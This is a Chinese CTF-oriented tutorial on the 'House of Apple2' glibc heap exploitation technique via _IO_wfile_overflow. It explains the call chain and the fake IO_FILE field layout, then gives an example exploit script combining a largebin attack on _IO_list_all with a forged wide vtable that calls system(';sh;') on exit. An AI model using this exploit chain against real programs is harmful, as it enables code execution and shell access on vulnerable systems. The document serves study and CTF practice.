house of apple2之_IO_wfile_overflow
字数 1900 2025-08-22 12:22:37
House of Apple2 之 _IO_wfile_overflow 利用技术详解
一、技术背景
House of Apple 系列是由安全研究员 roderick01 在 2022 年提出的一种针对 IO_FILE 结构的利用方法。该技术通过劫持 IO_FILE->wide_data 来控制程序执行流,相比传统 IO 利用方法具有更少的限制条件。
二、利用条件
要成功实施 House of Apple2 攻击,需要满足以下三个基本条件:
- 已知 heap 地址和 glibc 地址
- 能够控制程序执行 IO 操作(如从 main 函数返回、调用 exit 函数、通过
__malloc_assert触发等) - 能够控制
_IO_FILE的 vtable 和_wide_data(通常使用 largebin attack 实现)
三、关键结构体分析
1. _IO_FILE 结构体
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
char* _IO_save_base; /* Pointer to start of non-current get area. */
char* _IO_backup_base; /* Pointer to first valid character of backup area */
char* _IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker* _markers;
struct _IO_FILE* _chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t* _lock;
};
2. _IO_wide_data 结构体
struct _IO_wide_data {
wchar_t* _IO_read_ptr; /* Current read pointer */
wchar_t* _IO_read_end; /* End of get area. */
wchar_t* _IO_read_base; /* Start of putback+get area. */
wchar_t* _IO_write_base; /* Start of put area. */
wchar_t* _IO_write_ptr; /* Current put pointer. */
wchar_t* _IO_write_end; /* End of put area. */
wchar_t* _IO_buf_base; /* Start of reserve area. */
wchar_t* _IO_buf_end; /* End of reserve area. */
wchar_t* _IO_save_base; /* Pointer to start of non-current get area. */
wchar_t* _IO_backup_base; /* Pointer to first valid character of backup area */
wchar_t* _IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t* _wide_vtable;
};
四、利用原理
1. 核心调用链
攻击的核心在于构造以下调用链:
_IO_wfile_overflow → _IO_wdoallocbuf → _IO_WDOALLOCATE → *(fp->_wide_data->_wide_vtable + 0x68)(fp)
2. 关键函数分析
_IO_wdoallocbuf 函数
void _IO_wdoallocbuf(FILE *fp) {
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE(fp) != WEOF) // _IO_WXXXX调用
return;
_IO_wsetb(fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0);
}
触发条件:
fp->_wide_data->_IO_buf_base == 0fp->_flags & _IO_UNBUFFERED == 0
_IO_WDOALLOCATE 宏
该宏展开后相当于:
(*(__typeof__(((struct _IO_FILE){})._wide_data)*)(((char*)((fp))) + __builtin_offsetof(struct _IO_FILE, _wide_data)))->_wide_vtable->__doallocate)(fp)
这个宏没有进行任何地址检查,直接通过虚表调用函数,这是利用的关键点。
_IO_wfile_overflow 函数
wint_t _IO_wfile_overflow(FILE *f, wint_t wch) {
if (f->_flags & _IO_NO_WRITES) {
f->_flags |= _IO_ERR_SEEN;
__set_errno(EBADF);
return WEOF;
}
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) {
if (f->_wide_data->_IO_write_base == 0) {
_IO_wdoallocbuf(f); // 关键调用点
}
}
}
触发条件:
f->_flags & _IO_NO_WRITES == 0f->_flags & _IO_CURRENTLY_PUTTING == 0f->_wide_data->_IO_write_base == 0
五、利用步骤
1. 构造伪造的 IO_FILE 结构
需要设置以下字段:
_flags: 设置为~(2 | 0x8 | 0x800),如果不需要控制 rdi 可设为 0;如需获取 shell 可设为";sh;"vtable: 设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),确保能调用到_IO_wfile_overflow_wide_data: 设置为可控堆地址 A (*(fp + 0xa0) = A)_wide_data->_IO_write_base: 设置为 0 (*(A + 0x18) = 0)_wide_data->_IO_buf_base: 设置为 0 (*(A + 0x30) = 0)_wide_data->_wide_vtable: 设置为可控堆地址 B (*(A + 0xe0) = B)_wide_data->_wide_vtable->doallocate: 设置为目标函数地址 C (*(B + 0x68) = C)
2. 触发路径
通过以下方式之一触发 IO 操作:
- 从 main 函数返回
- 调用 exit 函数
- 通过
__malloc_assert触发
六、例题分析
1. 程序功能
程序提供以下功能:
- 添加 chunk (malloc)
- 删除 chunk (free)
- 编辑 chunk
- 显示 chunk 内容
- 退出 (exit)
2. 利用步骤
步骤 1: 泄露堆和 libc 地址
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
free(2)
free(0)
edit(2, 'a')
show(2)
# 计算 libc 基址
edit(2, '\x00')
show(0)
# 计算堆基址
步骤 2: 实施 largebin attack
add(0, 0x418)
edit(2, p64(0)*3 + p64(libc.sym['_IO_list_all'] - 0x20))
free(0)
add(0, 0x408) # 触发 largebin attack
步骤 3: 构造伪造的 IO_FILE 结构
file_addr = heap_base + 0x6d0
IO_wide_data_addr = (file_addr + 0xd8 + 8) - 0xe0
wide_vtable_addr = (file_addr + 0xd8 + 8 + 8) - 0x68
fake_io = b""
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_read_base
fake_io += p64(0) # _IO_write_base
fake_io += p64(1) # _IO_write_ptr
fake_io += p64(0) # _IO_write_end
fake_io += p64(0) # _IO_buf_base
fake_io += p64(0) # _IO_buf_end
fake_io += p64(0)*4 # _IO_save_base to _markers
fake_io += p64(0) # _chain
fake_io += p32(2) # _fileno
fake_io += p32(0) # _flags2
fake_io += p64(0xFFFFFFFFFFFFFFFF) # _old_offset
fake_io += p16(0) # _cur_column
fake_io += b"\x00" # _vtable_offset
fake_io += b"\n" # _shortbuf[1]
fake_io += p32(0) # padding
fake_io += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _lock
fake_io += p64(0xFFFFFFFFFFFFFFFF) # _offset
fake_io += p64(0) # _codecvt
fake_io += p64(IO_wide_data_addr) # _IO_wide_data
fake_io += p64(0)*3 # _freeres_list to __pad5
fake_io += p32(0xFFFFFFFF) # _mode
fake_io += b"\x00"*19 # _unused2
fake_io = fake_io.ljust(0xD8 - 0x10, b'\x00')
fake_io += p64(libc.sym['_IO_wfile_jumps']) # fake vtable
fake_io += p64(wide_vtable_addr)
fake_io += p64(libc.sym['system'])
edit(2, fake_io)
edit(1, p64(0)*2 + b';sh;') # 修改 flags
步骤 4: 触发利用
io.sendafter("choice:", "5") # 调用 exit 触发
七、关键点总结
- largebin attack:用于修改
_IO_list_all指针,使其指向伪造的 IO_FILE 结构 - 结构体伪造:精心构造 IO_FILE 和 _IO_wide_data 结构,满足调用条件
- 虚表劫持:通过控制
_wide_vtable和其doallocate函数指针实现 ROP 或直接执行系统命令 - 触发路径:通过 exit 或类似函数触发 IO 刷新操作
八、防御措施
- 及时更新 glibc 版本
- 启用更严格的内存保护机制(如 Full RELRO)
- 对用户输入进行严格验证
- 避免在关键函数中使用不安全的 IO 操作
通过理解 House of Apple2 的攻击原理和实现方式,安全研究人员可以更好地防御此类攻击,同时也能在 CTF 等竞赛中灵活运用这种技术。